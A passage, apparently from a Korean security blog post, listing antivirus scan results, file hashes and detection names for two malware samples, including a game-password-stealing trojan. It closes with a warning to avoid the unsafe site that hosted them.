TheHacker 6.5.2.0.277 2010.05.09 -
TrendMicro 9.120.0.1004 2010.05.09 -
TrendMicro-HouseCall 9.120.0.1004 2010.05.10 -
VBA32 3.12.12.4 2010.05.06 -
ViRobot 2010.5.8.2306 2010.05.09 JS.S.Agent.5851
VirusBuster 5.0.27.0 2010.05.09 -
 
추가 정보
File size: 5851 bytes
MD5   : 51e7b5fe2fa7ef45de3b3671ba91b011
SHA1  : e6e7dd63b6de5b8b24c5a91d001d23a01de8186b
SHA256: 1d373a0cd0b239795370655695fb7db3138ab1aa1a4cb4df676f72150d82a7b9
검사 파일: isa.exe 전송 시각: 2010.05.10 00:46:48 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 4.5.0.50 2010.05.09 Trojan.Peed!IK
AhnLab-V3 2010.05.09.00 2010.05.08 Win-Trojan/Pincav.54784.U
AntiVir 8.2.1.236 2010.05.09 TR/Crypt.ZPACK.Gen
Antiy-AVL 2.0.3.7 2010.05.07 Trojan/Win32.Pincav.gen
Authentium 5.2.0.5 2010.05.09 -
Avast 4.8.1351.0 2010.05.09 Win32:Malware-gen
Avast5 5.0.332.0 2010.05.09 Win32:Malware-gen
AVG 9.0.0.787 2010.05.09 Generic17.BKEJ
BitDefender 7.2 2010.05.10 Trojan.Peed.Gen
CAT-QuickHeal 10.00 2010.05.08 Trojan.Pincav.ywu
ClamAV 0.96.0.3-git 2010.05.09 -
Comodo 4800 2010.05.09 TrojWare.Win32.Trojan.Agent.Gen
DrWeb 5.0.2.03300 2010.05.10 Trojan.Siggen1.24430
eSafe 7.0.17.0 2010.05.09 Win32.PWS.Mmorpg
eTrust-Vet 35.2.7474 2010.05.07 -
F-Prot 4.5.1.85 2010.05.09 -
F-Secure 9.0.15370.0 2010.05.10 Trojan.Peed.Gen
Fortinet 4.1.133.0 2010.05.09 W32/Pincav.YWU!tr
GData 21 2010.05.10 Trojan.Peed.Gen
Ikarus T3.1.1.84.0 2010.05.10 Trojan.Peed
Jiangmin 13.0.900 2010.05.09 Trojan/Pincav.eta
Kaspersky 7.0.0.125 2010.05.09 Trojan.Win32.Pincav.ywu
McAfee 5.400.0.1158 2010.05.09 PWS-Mmorpg!oq
McAfee-GW-Edition 2010.1 2010.05.09 Heuristic.LooksLike.Heuristic.BehavesLike.Win32.Downloader.B
Microsoft 1.5703 2010.05.09 Trojan:Win32/Malagent
NOD32 5099 2010.05.10 Win32/PSW.Gamania.NCP
Norman 6.04.12 2010.05.09 -
nProtect 2010-05-09.01 2010.05.09 Trojan.Peed.Gen
Panda 10.0.2.7 2010.05.09 Generic Trojan
PCTools 7.0.3.5 2010.05.07 -
Prevx 3.0 2010.05.10 High Risk Cloaked Malware
Rising 22.46.06.04 2010.05.09 Trojan.Win32.Generic.5202C6D7
Sophos 4.53.0 2010.05.09 Troj/Dload-HL
Sunbelt 6283 2010.05.10 Trojan.Win32.Generic!BT
Symantec 20091.2.0.41 2010.05.10 -
TheHacker 6.5.2.0.277 2010.05.10 Trojan/Pincav.ywu
TrendMicro 9.120.0.1004 2010.05.09 TSPY_MAGANIA.KI
TrendMicro-HouseCall 9.120.0.1004 2010.05.10 TSPY_MAGANIA.KI
VBA32 3.12.12.4 2010.05.06 Malware-Dropper.Win32.Inject.gen
ViRobot 2010.5.8.2306 2010.05.09 Trojan.Win32.Pincav.54784.C
VirusBuster 5.0.27.0 2010.05.09 Trojan.PWS.Gamania.BBV
 
추가 정보
File size: 54784 bytes
MD5...: a19b540af7132a86e866be1152256f07
SHA1..: 77715cc29b8911598f5f43bb0b17687267ea75f5
SHA256: 1d109b0ebfebc3d3c960bb7e4ef2917d64c4fef515ab031f1f15d522f0aa7fde

box.exe ~> V3 : Win-Trojan/Magania.53248.AA(추가 : 2010.05.07.07)
isa.exe ~> V3 : Win-Trojan/Pincav.54784.U(추가 : 2010.05.01.00)

이와 같이 현재는 대부분의 신고로 모두 백신이 잡는다는 것을 볼수있다.
이런 사이트는 안전한 상태가 아니면 피하는것이 좋다고 볼수있다.
호기심에 실행시켜서 얻는 불이익은 모두 실행시킨분의 책임입니다.